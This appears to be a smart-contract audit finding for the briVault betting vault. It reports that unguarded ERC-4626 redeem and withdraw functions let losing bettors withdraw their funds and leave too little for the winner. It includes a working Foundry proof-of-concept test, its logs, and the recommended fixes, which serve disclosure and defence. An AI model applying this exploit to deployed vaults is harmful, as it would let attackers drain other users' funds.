Root + Impact

Description

• There's a core functionality of this contract that ensures that only winners are allowed to withdraw their assets (using briVault::withdraw()), since their team won, on which they made the lucky bet. On the other hand, the rest of the users — losers, specifically — aren't allowed to withdraw their assets at all. And, this totally makes sense.

• However, the contract left the standard ERC-4626 exit entrypoints unguarded. The inherited ERC4626::redeem() and ERC4626::withdraw(uint256,address,address) are callable and are not aligned with the tournament logic. As a result, non-winners (or any caller with shares) can use these standard functions to burn shares and pull underlying assets immediately, bypassing the tournament settlement logic and locking invariants.

  @> function withdraw() external winnerSet { // Could have used `ERC4626::_withdraw()` while overriding it

  // ...

  if (

  keccak256(abi.encodePacked(userToCountry[msg.sender])) !=

  keccak256(abi.encodePacked(winner))

  ) {

  revert didNotWin();

  }

  // ...

  }
  
  

• Because ERC-4626’s standard redeem / withdraw are still available and not overridden, a participant can exit early by calling them — removing funds that the tournament settlement expects to be locked.

Risks

Likelihood: High

• The ERC-4626 public entrypoints remain callable by design (unless overridden). Anyone with shares can call them; no extra approvals or unusual conditions are required when calling for one’s own shares.

Impact: High

• Allows participants to drain their share of vault resources during the tournament, leaving insufficient funds at settlement for winners and breaking the vault’s core invariant.

• Erodes trust, completely disrupts the system.

Proof of Concept

• Here are some points about the exploit such that it is understood well. Although the comments within the test do an amazing job, it's still better to have more context:

  1. Considering 3 users, all depositing the same number of assets, i.e. 5.

  2. User1 picks countryId 10, User2 picks 11, and User3 picks 12. Here, countryId 10 will win, thus user2 and user3 act as exploiters. And, user1 is the unlucky winner.

  3. We will be using the ERC4626::redeem() function for its simplicity as well as the way it easily fits into this scenario. One can also use ERC4626::withdraw() if he/she is willing to do some math stuff.

  4. At the end of this test, you will notice how user1 was meant to get 14775000000000000000 amount of assets, but only 4925000000000000000 was left in the vault, due to which his call to briVault::withdraw() reverts.

  
  

• Add this test_UsersCanWithdrawsSharesOnceTheyLost test to briVault.t.sol:

  function test_UsersCanWithdrawsSharesOnceTheyLost() public {

  // Setup

  vm.prank(owner);

  briVault.setCountry(countries);

  ​

  // Users approving the vault, and depositing the amount

  address[] memory participants = new address[](3);

  participants[0] = user1;

  participants[1] = user2;

  participants[2] = user3;

  ​

  for (uint256 i = 0; i < participants.length; i++) {

  vm.startPrank(participants[i]);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(5 ether, participants[i]);

  vm.stopPrank();

  }

  ​

  // Users joining the events using different countryId

  vm.prank(user1);

  briVault.joinEvent(10);

  ​

  vm.prank(user2);

  briVault.joinEvent(11);

  ​

  vm.prank(user3);

  briVault.joinEvent(12);

  ​

  console.log("All 3 users joined the event...");

  console.log("Total assets balance of vault:", mockToken.balanceOf(address(briVault)));

  console.log();

  ​

  // Time warps, and the event starts

  vm.warp(eventStartDate + 1);

  ​

  // Event ends, and owner sets the winner

  vm.warp(eventEndDate + 1);

  vm.prank(owner);

  briVault.setWinner(10); // User1 wins, technically

  ​

  // *** Exploit: User2 and User3 act swiftly and call the `redeem` function, as they didn't win ***

  vm.startPrank(user2);

  briVault.approve(address(briVault), type(uint256).max); // This approval is important!!

  briVault.redeem(briVault.userSharesToCountry(user2, 11), user2, user2);

  vm.stopPrank();

  ​

  console.log("Assets' balance left after user2 redeems:", mockToken.balanceOf(address(briVault)));

  ​

  vm.startPrank(user3);

  briVault.approve(address(briVault), type(uint256).max);

  briVault.redeem(briVault.userSharesToCountry(user3, 12), user3, user3);

  vm.stopPrank();

  ​

  console.log("Assets' balance left after user3 redeems:", mockToken.balanceOf(address(briVault)));

  ​

  // Now, user1 tries to withdraw, but fails to do so

  vm.prank(user1);

  vm.expectRevert(); // Reverts with ERC20InsufficientBalance

  briVault.withdraw();

  }
  
  

• Run it using the following command:

  forge test --mt test_UsersCanWithdrawsSharesOnceTheyLost -vv
  
  

• Logs:

  Ran 1 test for test/briVault.t.sol:BriVaultTest

  [PASS] test_UsersCanWithdrawsSharesOnceTheyLost() (gas: 2160204)

  Logs:

  All 3 users joined the event...

  Total assets balance of vault: 14775000000000000000

  ​

  Assets' balance left after user2 redeems: 9850000000000000000

  Assets' balance left after user3 redeems: 4925000000000000000

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.53ms (935.28µs CPU time)

Recommended Mitigation

• The contract should override the ERC4626::_withdraw() function, and put the relevant logic in. It's recommended to override the internal functions, rather than the public-facing ones. Plus, this will fix both the entry points of redeem as well as withdraw. Definitely, check out this note from ERC4626.sol, as it explicitly mentions this: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol#L52-L58

  - function withdraw() external winnerSet {

  - ...

  - }

  ​

  + function _withdraw(...) internal override {

  + // Put the logic in here

  + }
  
  

• Alternatively, you could also override both the ERC4626::redeem() and ERC4626::withdraw() functions, and thus revert any call to them. With this, every user has to call the favoured briVault::withdraw() function to withdraw any assets.

  + function withdraw(uint256, address, address) public override {

  + revert("withdraw disabled: use tournament settlement");

  + }

  +

  + function redeem(uint256, address, address) public override {

  + revert("redeem disabled: use tournament settlement");

  + }